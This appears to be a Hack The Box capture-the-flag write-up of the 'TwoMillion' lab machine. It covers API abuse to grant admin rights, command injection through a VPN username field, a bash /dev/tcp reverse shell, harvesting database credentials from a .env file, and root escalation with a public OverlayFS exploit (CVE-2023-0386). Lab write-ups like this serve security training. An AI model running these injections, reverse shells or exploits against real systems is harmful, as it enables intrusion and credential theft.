Skip to main content

HACKTHEBOX- TWOMILLIONS

Link : https://app.hackthebox.eu/machines/TwoMillions

Enumeration

As always, we start by trying to access the corresponding web page of the machine (http://ip_of_the_box).

We can change our /etc/hosts

hosts

This file acts as a local DNS. Basically, we will specify domain names along with their redirectors. This index will take priority over the specified DNS server.

Details

Details about the hosts file: Here's what it looks like:

# Host addresses
127.0.0.1 localhost
127.0.1.1 parrot
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

# Others
[...]
10.10.11.221 2million.htb


tip

Generally, I recommend starting with this step. This will allow the nmap scan to directly scan the web page without being blocked by the redirect.

Nmap Scan

We can start with the classic Nmap scan:

nmap -sV -sC --script vuln 2million.htb
Nmap Scan Result
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-trane-info: Problem with XML parsing of /evox/about
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=2million.htb
| Found the following possible CSRF vulnerabilities:
|
| Path: http://2million.htb:80/login
| Form id: loginform
|_ Form action: /api/v1/user/login
|_http-majordomo2-dir-traversal: ERROR: Script execution failed (use -d to debug)
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| http-vuln-cve2010-0738:
|_ /jmx-console/: Authentication was not required
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Regarding the obtained web page, it's quite surprising – we come across a "clone" of the classic Hack The Box login page!

From the Nmap result, it appears there's an API for login. We proceed to enumerate the website's pages and subdomains.

Web and DNS Enumeration

We enumerate using ffuf:

ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://2million.htb/FUZZ -X GET -fs 162
FFUF

Here, the web page returns a 301 error code (Moved) even if the page doesn't exist. The trick is to add "-fs 162," which excludes all pages with the size of the standard 404 page.

FFUF Result

:: Method : GET
:: URL : http://2million.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/big.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 162
________________________________________________

404 [Status: 200, Size: 1674, Words: 118, Lines: 46, Duration: 52ms]
api [Status: 401, Size: 0, Words: 1, Lines: 1, Duration: 85ms]
home [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 48ms]
invite [Status: 200, Size: 3859, Words: 1363, Lines: 97, Duration: 184ms]
login [Status: 200, Size: 3704, Words: 1365, Lines: 81, Duration: 68ms]
logout [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 59ms]
register [Status: 200, Size: 4527, Words: 1512, Lines: 95, Duration: 69ms]

On the DNS side, it doesn't yield anything:

ffuf -u http://2millions.htb/ -w /usr/share/wordlists/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.2millions.htb" 

Exploitation

The first step seems to be identical or very similar to what I had to do when I joined the platform 2 years ago – especially considering this step is no longer part of the registration process.

We look into creating an account and find a page requesting an invitation code:

Naturally, the instinct is to inspect the files loaded by the browser. We right-click, inspect, and go to the "Network" tab.

We see an extremely obfuscated JavaScript file.

De-Obfuscation

When a JS file is unreadable, there are generally two possibilities:

The developer is so skilled that only they can understand it (believe me, this happens). The code is obfuscated (quite common in the HTB space). Always consider de-obfuscation. Copying the code to ChatGPT can help!

Here, it's clear that the code is obfuscated. We can use this tool to retrieve the source code: https://lelinhtinh.github.io/de4js/

EVAL

Note: Make sure to specify "Eval" on the website (similar to the function in the obfuscated JS!)

The source code is :

function verifyInviteCode(code) {
var formData = {
"code": code
};
$.ajax({
type: "POST",
dataType: "json",
data: formData,
url: '/api/v1/invite/verify',
success: function (response) {
console.log(response)
},
error: function (response) {
console.log(response)
}
})
}

function makeInviteCode() {
$.ajax({
type: "POST",
dataType: "json",
url: '/api/v1/invite/how/to/generate',
success: function (response) {
console.log(response)
},
error: function (response) {
console.log(response)
}
})
}

Well, we can make a POST request to the endpoint "http://2million.htb/api/v1/invite/how/to/generate" to get a code:

curl -X POST http://2million.htb/api/v1/invite/how/to/generate

Response :

{"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr","enctype":"ROT13"},"hint":"Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."}% 

The message informs us that the text is encrypted. Moreover, it kindly tells us which "protocol": ROT13.

We can use CyberChef (https://cyberchef.org) or Dcode to decode it:

In order to generate the invite code, make a POST request to \/api\/v1\/invite\/generate

Let's make another POST request, this time to /api/v1/invite/generate:

{"0":200,"success":1,"data":{"code":"QkFCSlotOUtHUVotMTI0WVUtODU2UzA=","format":"encoded"}}%  

Another encrypted message, but this time, it's Base64 encoded.

Base64

An encrypted message in Base64 usually ends with "=" or "==". It's decipherable with CyberChef as well.

We obtain an invitation code that we can use:

It's amazing – we're on the old Hack The Box website. So many memories.

One of the pages (possibly the only one) that works is the access page. This gives us an OpenVPN configuration file.

Don't try to connect to the VPN; it won't work. However, we can use BURP to see where it's coming from :)

Here's the request that's sent when we download the file:

GET /api/v1/user/vpn/generate HTTP/1.1
Host: 2million.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://2million.htb/home/access
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=vr3je5gu3f3aif529ore8i19hg
Connection: close

Let's try modifying this to reach /api/v1/user. First, you need to retrieve your PHP session cookie in order to make the curl request:

curl 2million.htb/api/v1 --cookie "PHPSESSID=vr3je5gu3f3aif529ore8i19hg" -v
{
"v1": {
"user": {
"GET": {
"\\/api\\/v1": "Route List",
"\\/api\\/v1\\/invite\\/how\\/to\\/generate": "Instructions on invite code generation",
"\\/api\\/v1\\/invite\\/generate": "Generate invite code",
"\\/api\\/v1\\/invite\\/verify": "Verify invite code",
"\\/api\\/v1\\/user\\/auth": "Check if user is authenticated",
"\\/api\\/v1\\/user\\/vpn\\/generate": "Generate a new VPN configuration",
"\\/api\\/v1\\/user\\/vpn\\/regenerate": "Regenerate VPN configuration",
"\\/api\\/v1\\/user\\/vpn\\/download": "Download OVPN file"
},
"POST": {
"\\/api\\/v1\\/user\\/register": "Register a new user",
"\\/api\\/v1\\/user\\/login": "Login with existing user"
}
},
"admin": {
"GET": {
"\\/api\\/v1\\/admin\\/auth": "Check if user is admin"
},
"POST": {
"\\/api\\/v1\\/admin\\/vpn\\/generate": "Generate VPN for specific user"
},
"PUT": {
"\\/api\\/v1\\/admin\\/settings\\/update": "Update user settings"
}
}
}
}

Shall we try authenticating as an admin?

curl 2million.htb/api/v1/admin/auth --cookie "PHPSESSID=vr3je5gu3f3aif529ore8i19hg" -v
{"message":false}

If we are not an admin, we won't be able to generate the admin VPN. We need to find a way. Let's try updating our permissions:

curl 2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=vr3je5gu3f3aif529ore8i19hg" -v -X PUT
{"status":"danger","message":"Invalid content type."}

We need to add the content type :

curl 2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=vr3je5gu3f3aif529ore8i19hg" -v -X PUT --header "Content-Type: application/json"
{"status":"danger","message":"Missing parameter: email"}

Let's add the email we created :

curl 2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=vr3je5gu3f3aif529ore8i19hg" -v -X PUT --header "Content-Type: application/json" --data '{"email":"[email protected]"}'
{"status":"danger","message":"Missing parameter: is_admin"}

Let's add the "is_admin" variable :

curl 2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=vr3je5gu3f3aif529ore8i19hg" -v -X PUT --header "Content-Type: application/json" --data '{"email":"[email protected]", "is_admin":"true"}'
{"status":"danger","message":"Variable is_admin needs to be either 0 or 1."}

Alright, final step – let's set is_admin to 1:

curl 2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=vr3je5gu3f3aif529ore8i19hg" -v -X PUT --header "Content-Type: application/json" --data '{"email":"[email protected]", "is_admin":"1"}'
{"id":13,"username":"test1234","is_admin":1}

FINALLY! Let's download our OVPN file now?

curl 2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=vr3je5gu3f3aif529ore8i19hg" -v -X POST --header "Content-Type: application/json" --data '{"username":"test1234"}'
client
dev tun
proto udp
remote edge-eu-free-1.2million.htb 1337
resolv-retry infinite
nobind
persist-key
persist-tun
remote-cert-tls server
comp-lzo
verb 3
data-ciphers-fallback AES-128-CBC
data-ciphers AES-256-CBC:AES-256-CFB:AES-256-CFB1:AES-256-CFB8:AES-256-OFB:AES-256-GCM
tls-cipher "DEFAULT:@SECLEVEL=0"
auth SHA256
key-direction 1
<ca>
-----BEGIN CERTIFICATE-----
MIIGADCCA+igAwIBAgIUQxzHkNyCAfHzUuoJgKZwCwVNjgIwDQYJKoZIhvcNAQEL
BQAwgYgxCzAJBgNVBAYTAlVLMQ8wDQYDVQQIDAZMb25kb24xDzANBgNVBAcMBkxv
bmRvbjETMBEGA1UECgwKSGFja1RoZUJveDEMMAoGA1UECwwDVlBOMREwDwYDVQQD
DAgybWlsbGlvbjEhMB8GCSqGSIb3DQ

<SNIP>

Paste the obtained OVPN into a text editor and let's connect! We'll be able to see what's happening behind this VPN!

2023-07-03 01:12:35 Could not determine IPv4/IPv6 protocol
2023-07-03 01:12:35 SIGUSR1[soft,Could not determine IPv4/IPv6 protocol] received, process restarting
2023-07-03 01:12:35 Restart pause, 2 second(s)
2023-07-03 01:12:35 SIGINT[hard,init_instance] received, process exiting

I'm a bit disappointed... but let's continue. I was stuck for quite a while on this step until I found the vulnerability:

Subject: C=GB, ST=London, L=London, O=test1234, CN=test1234

I remembered that the username is directly in the OpenVPN file. This means there's a PHP function that writes it to the .ovpn file.

curl 2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=vr3je5gu3f3aif529ore8i19hg" -v -X POST --header "Content-Type: application/json" --data '{"username":"test1234;id;"}'curl 2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=vr3je5gu3f3aif529ore8i19hg" -v -X POST --header "Content-Type: application/json" --data '{"username":"test1234;whoami;"}'
www-data

The OVPN file is no longer generated, but we can execute code!!

Let's use a reverse shell from this site: https://highon.coffee/blog/reverse-shell-cheat-sheet/

bash -i >& /dev/tcp/10.10.16.4/4444 0>&1

Of course, this straightforward reverse shell won't work due to spacing! Let's use it in Base64:

#Sur notre machine
echo "bash -i >& /dev/tcp/10.10.16.4/4444 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40LzQ0NDQgMD4mMQo=
nc -nlvp 4444


#Dans la requête
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40LzQ0NDQgMD4mMQo=" | base64 -d | bash
connect to [10.10.16.4] from (UNKNOWN) [10.10.11.221] 49516
bash: cannot set terminal process group (1195): Inappropriate ioctl for device
bash: no job control in this shell
www-data@2million:~/html$

There is more information about the server's configuration and how it operates in the source code of the index.php file:

//index.php
$envFile = file('.env');
$envVariables = [];
foreach ($envFile as $line) {
$line = trim($line);
if (!empty($line) && strpos($line, '=') !== false) {
list($key, $value) = explode('=', $line, 2);
$key = trim($key);
$value = trim($value);
$envVariables[$key] = $value;
}
}

$dbHost = $envVariables['DB_HOST'];
$dbName = $envVariables['DB_DATABASE'];
$dbUser = $envVariables['DB_USERNAME'];
$dbPass = $envVariables['DB_PASSWORD'];

There is a .env file hidden that contains the DB passwords!



```bash
www-data@2million:~/html$ ls -alh
drwxr-xr-x 10 root root 4.0K Jul  2 23:20 .
drwxr-xr-x 3 root root 4.0K Jun 6 10:22 ..
-rw-r--r-- 1 root root 87 Jun 2 18:56 .env
-rw-r--r-- 1 root root 1.3K Jun 2 16:15 Database.php
-rw-r--r-- 1 root root 2.8K Jun 2 16:15 Router.php
drwxr-xr-x 5 root root 4.0K Jul 2 23:20 VPN
drwxr-xr-x 2 root root 4.0K Jun 6 10:22 assets
drwxr-xr-x 2 root root 4.0K Jun 6 10:22 controllers
drwxr-xr-x 5 root root 4.0K Jun 6 10:22 css
drwxr-xr-x 2 root root 4.0K Jun 6 10:22 fonts
drwxr-xr-x 2 root root 4.0K Jun 6 10:22 images
-rw-r--r-- 1 root root 2.7K Jun 2 18:57 index.php
drwxr-xr-x 3 root root 4.0K Jun 6 10:22 js
drwxr-xr-x 2 root root 4.0K Jun 6 10:22 views

Content of .env
#.env 

DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123

Great, now we have a user's password!

user.txt

64890cd129a9537db34b3c0dbe49b7c4

Privilege Escalation

Let's start by checking if we have any sudo privileges:

sudo -l

[sudo] password for admin:
Sorry, user admin may not run sudo on localhost.

One thing we notice right away during login is:

You have mail.

This means that there's a message waiting for us in the /var/mail/admin file:

Mail output
From: ch4p <[email protected]>
To: admin <[email protected]>
Cc: g0blin <[email protected]>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <[email protected]>
X-Mailer: ThunderMail Pro 5.2

Hey admin,

I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.

HTB Godfather

This message hints that the machine might still be vulnerable to a certain CVE, affecting OverlayFS / FUSE. This message is likely referring to this CVE:

You can find an exploit for this CVE on GitHub: https://github.com/xkaneiki/CVE-2023-0386

You can run it:

#Sur notre machine
git clone https://github.com/xkaneiki/CVE-2023-0386.git


# Sur l'autre machine
wget ipmachine/CVE-2023-0386
make all

# Créer 2 sessions ssh différentes :
# Sur la première :
./fuse ./ovlcap/lower ./gc

# Sur la deuxième :
./exp

Once these commands are executed, you will gain root access!

Exploit Analysis

The exploit leverages two technologies to achieve root privileges:

  1. FUSE (Filesystem in Userspace): This technology is used to create a custom filesystem and mount it in userspace instead of the kernel. FUSE can be used to create encrypted filesystems, for testing purposes, or to avoid directly interfacing with the kernel, which might be risky or undesirable in some cases.
  2. OverlayFS: This technology allows you to create layered filesystems by stacking multiple filesystems on top of each other. It utilizes FUSE to overlay different filesystems, creating a combined view.

By creating an OverlayFS with multiple FUSE instances, you can exploit a bug related to UID permission mapping. This bug, when combined with the usage of certain files (e.g., /bin/bash), allows you to escalate privileges and potentially gain root access.

The use of the FUSE C library is essential because trying to perform this operation manually using mount would require elevated privileges, which a normal user wouldn't have.

Bonus

"This machine was for the 2 million HackTheBox users!

And the devs gave us a little message on /root:

{"encoding": "url", "data": "%7B%22encoding%22:%20%22hex%22,%20%22data%22:%20%227b22656e6372797074696f6e223a2022786f72222c2022656e6372707974696f6e5f6b6579223a20224861636b546865426f78222c2022656e636f64696e67223a2022626173653634222c202264617461223a20224441514347585167424345454c43414549515173534359744168553944776f664c5552765344676461414152446e51634454414746435145423073674230556a4152596e464130494d556745596749584a51514e487a7364466d494345535145454238374267426942685a6f4468595a6441494b4e7830574c526844487a73504144594848547050517a7739484131694268556c424130594d5567504c525a594b513848537a4d614244594744443046426b6430487742694442306b4241455a4e527741596873514c554543434477424144514b4653305046307337446b557743686b7243516f464d306858596749524a41304b424470494679634347546f4b41676b344455553348423036456b4a4c4141414d4d5538524a674952446a41424279344b574334454168393048776f334178786f44777766644141454e4170594b67514742585159436a456345536f4e426b736a41524571414130385151594b4e774246497745636141515644695952525330424857674f42557374427842735a58494f457777476442774e4a30384f4c524d61537a594e4169734246694550424564304941516842437767424345454c45674e497878594b6751474258514b45437344444767554577513653424571436c6771424138434d5135464e67635a50454549425473664353634c4879314245414d31476777734346526f416777484f416b484c52305a5041674d425868494243774c574341414451386e52516f73547830774551595a5051304c495170594b524d47537a49644379594f4653305046776f345342457454776774457841454f676b4a596734574c4545544754734f414445634553635041676430447863744741776754304d2f4f7738414e6763644f6b31444844464944534d5a48576748444267674452636e4331677044304d4f4f68344d4d4141574a51514e48335166445363644857674944515537486751324268636d515263444a6745544a7878594b5138485379634444433444433267414551353041416f734368786d5153594b4e7742464951635a4a41304742544d4e525345414654674e4268387844456c6943686b7243554d474e51734e4b7745646141494d425355644144414b48475242416755775341413043676f78515241415051514a59674d644b524d4e446a424944534d635743734f4452386d4151633347783073515263456442774e4a3038624a773050446a63634444514b57434550467734344241776c4368597242454d6650416b5259676b4e4c51305153794141444446504469454445516f36484555684142556c464130434942464c534755734a304547436a634152534d42484767454651346d45555576436855714242464c4f7735464e67636461436b434344383844536374467a424241415135425241734267777854554d6650416b4c4b5538424a785244445473615253414b4553594751777030474151774731676e42304d6650414557596759574b784d47447a304b435364504569635545515578455574694e68633945304d494f7759524d4159615052554b42446f6252536f4f4469314245414d314741416d5477776742454d644d526f6359676b5a4b684d4b4348514841324941445470424577633148414d744852566f414130506441454c4d5238524f67514853794562525459415743734f445238394268416a4178517851516f464f676354497873646141414e4433514e4579304444693150517a777853415177436c67684441344f4f6873414c685a594f424d4d486a424943695250447941414630736a4455557144673474515149494e7763494d674d524f776b47443351634369554b44434145455564304351736d547738745151594b4d7730584c685a594b513858416a634246534d62485767564377353043776f334151776b424241596441554d4c676f4c5041344e44696449484363625744774f51776737425142735a5849414242454f637874464e67425950416b47537a6f4e48545a504779414145783878476b6c694742417445775a4c497731464e5159554a45454142446f6344437761485767564445736b485259715477776742454d4a4f78304c4a67344b49515151537a734f525345574769305445413433485263724777466b51516f464a78674d4d41705950416b47537a6f4e48545a504879305042686b31484177744156676e42304d4f4941414d4951345561416b434344384e467a464457436b50423073334767416a4778316f41454d634f786f4a4a6b385049415152446e514443793059464330464241353041525a69446873724242415950516f4a4a30384d4a304543427a6847623067344554774a517738784452556e4841786f4268454b494145524e7773645a477470507a774e52516f4f47794d3143773457427831694f78307044413d3d227d%22%7D"}

We can decode the message using CyberChef. It's evident that the data is URL-encoded:

{"encoding": "hex", "data": "7b22656e6372797074696f6e223a2022786f72222c2022656e6372707974696f6e5f6b6579223a20224861636b546865426f78222c2022656e636f64696e67223a2022626173653634222c202264617461223a20224441514347585167424345454c43414549515173534359744168553944776f664c5552765344676461414152446e51634454414746435145423073674230556a4152596e464130494d556745596749584a51514e487a7364466d494345535145454238374267426942685a6f4468595a6441494b4e7830574c526844487a73504144594848547050517a7739484131694268556c424130594d5567504c525a594b513848537a4d614244594744443046426b6430487742694442306b4241455a4e527741596873514c554543434477424144514b4653305046307337446b557743686b7243516f464d306858596749524a41304b424470494679634347546f4b41676b344455553348423036456b4a4c4141414d4d5538524a674952446a41424279344b574334454168393048776f334178786f44777766644141454e4170594b67514742585159436a456345536f4e426b736a41524571414130385151594b4e774246497745636141515644695952525330424857674f42557374427842735a58494f457777476442774e4a30384f4c524d61537a594e4169734246694550424564304941516842437767424345454c45674e497878594b6751474258514b45437344444767554577513653424571436c6771424138434d5135464e67635a50454549425473664353634c4879314245414d31476777734346526f416777484f416b484c52305a5041674d425868494243774c574341414451386e52516f73547830774551595a5051304c495170594b524d47537a49644379594f4653305046776f345342457454776774457841454f676b4a596734574c4545544754734f414445634553635041676430447863744741776754304d2f4f7738414e6763644f6b31444844464944534d5a48576748444267674452636e4331677044304d4f4f68344d4d4141574a51514e48335166445363644857674944515537486751324268636d515263444a6745544a7878594b5138485379634444433444433267414551353041416f734368786d5153594b4e7742464951635a4a41304742544d4e525345414654674e4268387844456c6943686b7243554d474e51734e4b7745646141494d425355644144414b48475242416755775341413043676f78515241415051514a59674d644b524d4e446a424944534d635743734f4452386d4151633347783073515263456442774e4a3038624a773050446a63634444514b57434550467734344241776c4368597242454d6650416b5259676b4e4c51305153794141444446504469454445516f36484555684142556c464130434942464c534755734a304547436a634152534d42484767454651346d45555576436855714242464c4f7735464e67636461436b434344383844536374467a424241415135425241734267777854554d6650416b4c4b5538424a785244445473615253414b4553594751777030474151774731676e42304d6650414557596759574b784d47447a304b435364504569635545515578455574694e68633945304d494f7759524d4159615052554b42446f6252536f4f4469314245414d314741416d5477776742454d644d526f6359676b5a4b684d4b4348514841324941445470424577633148414d744852566f414130506441454c4d5238524f67514853794562525459415743734f445238394268416a4178517851516f464f676354497873646141414e4433514e4579304444693150517a777853415177436c67684441344f4f6873414c685a594f424d4d486a424943695250447941414630736a4455557144673474515149494e7763494d674d524f776b47443351634369554b44434145455564304351736d547738745151594b4d7730584c685a594b513858416a634246534d62485767564377353043776f334151776b424241596441554d4c676f4c5041344e44696449484363625744774f51776737425142735a5849414242454f637874464e67425950416b47537a6f4e48545a504779414145783878476b6c694742417445775a4c497731464e5159554a45454142446f6344437761485767564445736b485259715477776742454d4a4f78304c4a67344b49515151537a734f525345574769305445413433485263724777466b51516f464a78674d4d41705950416b47537a6f4e48545a504879305042686b31484177744156676e42304d4f4941414d4951345561416b434344384e467a464457436b50423073334767416a4778316f41454d634f786f4a4a6b385049415152446e514443793059464330464241353041525a69446873724242415950516f4a4a30384d4a304543427a6847623067344554774a517738784452556e4841786f4268454b494145524e7773645a477470507a774e52516f4f47794d3143773457427831694f78307044413d3d227d"}

Again, but this time with hex encoding :

{"encryption": "xor", "encrpytion_key": "HackTheBox", "encoding": "base64", "data": "DAQCGXQgBCEELCAEIQQsSCYtAhU9DwofLURvSDgdaAARDnQcDTAGFCQEB0sgB0UjARYnFA0IMUgEYgIXJQQNHzsdFmICESQEEB87BgBiBhZoDhYZdAIKNx0WLRhDHzsPADYHHTpPQzw9HA1iBhUlBA0YMUgPLRZYKQ8HSzMaBDYGDD0FBkd0HwBiDB0kBAEZNRwAYhsQLUECCDwBADQKFS0PF0s7DkUwChkrCQoFM0hXYgIRJA0KBDpIFycCGToKAgk4DUU3HB06EkJLAAAMMU8RJgIRDjABBy4KWC4EAh90Hwo3AxxoDwwfdAAENApYKgQGBXQYCjEcESoNBksjAREqAA08QQYKNwBFIwEcaAQVDiYRRS0BHWgOBUstBxBsZXIOEwwGdBwNJ08OLRMaSzYNAisBFiEPBEd0IAQhBCwgBCEELEgNIxxYKgQGBXQKECsDDGgUEwQ6SBEqClgqBA8CMQ5FNgcZPEEIBTsfCScLHy1BEAM1GgwsCFRoAgwHOAkHLR0ZPAgMBXhIBCwLWCAADQ8nRQosTx0wEQYZPQ0LIQpYKRMGSzIdCyYOFS0PFwo4SBEtTwgtExAEOgkJYg4WLEETGTsOADEcEScPAgd0DxctGAwgT0M/Ow8ANgcdOk1DHDFIDSMZHWgHDBggDRcnC1gpD0MOOh4MMAAWJQQNH3QfDScdHWgIDQU7HgQ2BhcmQRcDJgETJxxYKQ8HSycDDC4DC2gAEQ50AAosChxmQSYKNwBFIQcZJA0GBTMNRSEAFTgNBh8xDEliChkrCUMGNQsNKwEdaAIMBSUdADAKHGRBAgUwSAA0CgoxQRAAPQQJYgMdKRMNDjBIDSMcWCsODR8mAQc3Gx0sQRcEdBwNJ08bJw0PDjccDDQKWCEPFw44BAwlChYrBEMfPAkRYgkNLQ0QSyAADDFPDiEDEQo6HEUhABUlFA0CIBFLSGUsJ0EGCjcARSMBHGgEFQ4mEUUvChUqBBFLOw5FNgcdaCkCCD88DSctFzBBAAQ5BRAsBgwxTUMfPAkLKU8BJxRDDTsaRSAKESYGQwp0GAQwG1gnB0MfPAEWYgYWKxMGDz0KCSdPEicUEQUxEUtiNhc9E0MIOwYRMAYaPRUKBDobRSoODi1BEAM1GAAmTwwgBEMdMRocYgkZKhMKCHQHA2IADTpBEwc1HAMtHRVoAA0PdAELMR8ROgQHSyEbRTYAWCsODR89BhAjAxQxQQoFOgcTIxsdaAAND3QNEy0DDi1PQzwxSAQwClghDA4OOhsALhZYOBMMHjBICiRPDyAAF0sjDUUqDg4tQQIINwcIMgMROwkGD3QcCiUKDCAEEUd0CQsmTw8tQQYKMw0XLhZYKQ8XAjcBFSMbHWgVCw50Cwo3AQwkBBAYdAUMLgoLPA4NDidIHCcbWDwOQwg7BQBsZXIABBEOcxtFNgBYPAkGSzoNHTZPGyAAEx8xGkliGBAtEwZLIw1FNQYUJEEABDocDCwaHWgVDEskHRYqTwwgBEMJOx0LJg4KIQQQSzsORSEWGi0TEA43HRcrGwFkQQoFJxgMMApYPAkGSzoNHTZPHy0PBhk1HAwtAVgnB0MOIAAMIQ4UaAkCCD8NFzFDWCkPB0s3GgAjGx1oAEMcOxoJJk8PIAQRDnQDCy0YFC0FBA50ARZiDhsrBBAYPQoJJ08MJ0ECBzhGb0g4ETwJQw8xDRUnHAxoBhEKIAERNwsdZGtpPzwNRQoOGyM1Cw4WBx1iOx0pDA=="}

Once again, we perform another decoding round, this time using XOR decryption with the specified key and converting the result to UTF-8:

Output
Dear HackTheBox Community,

We are thrilled to announce a momentous milestone in our journey together. With immense joy and gratitude, we celebrate the achievement of reaching 2 million remarkable users! This incredible feat would not have been possible without each and every one of you.

From the very beginning, HackTheBox has been built upon the belief that knowledge sharing, collaboration, and hands-on experience are fundamental to personal and professional growth. Together, we have fostered an environment where innovation thrives and skills are honed. Each challenge completed, each machine conquered, and every skill learned has contributed to the collective intelligence that fuels this vibrant community.

To each and every member of the HackTheBox community, thank you for being a part of this incredible journey. Your contributions have shaped the very fabric of our platform and inspired us to continually innovate and evolve. We are immensely proud of what we have accomplished together, and we eagerly anticipate the countless milestones yet to come.

Here's to the next chapter, where we will continue to push the boundaries of cybersecurity, inspire the next generation of ethical hackers, and create a world where knowledge is accessible to all.

With deepest gratitude,

The HackTheBox Team

Truly incredible!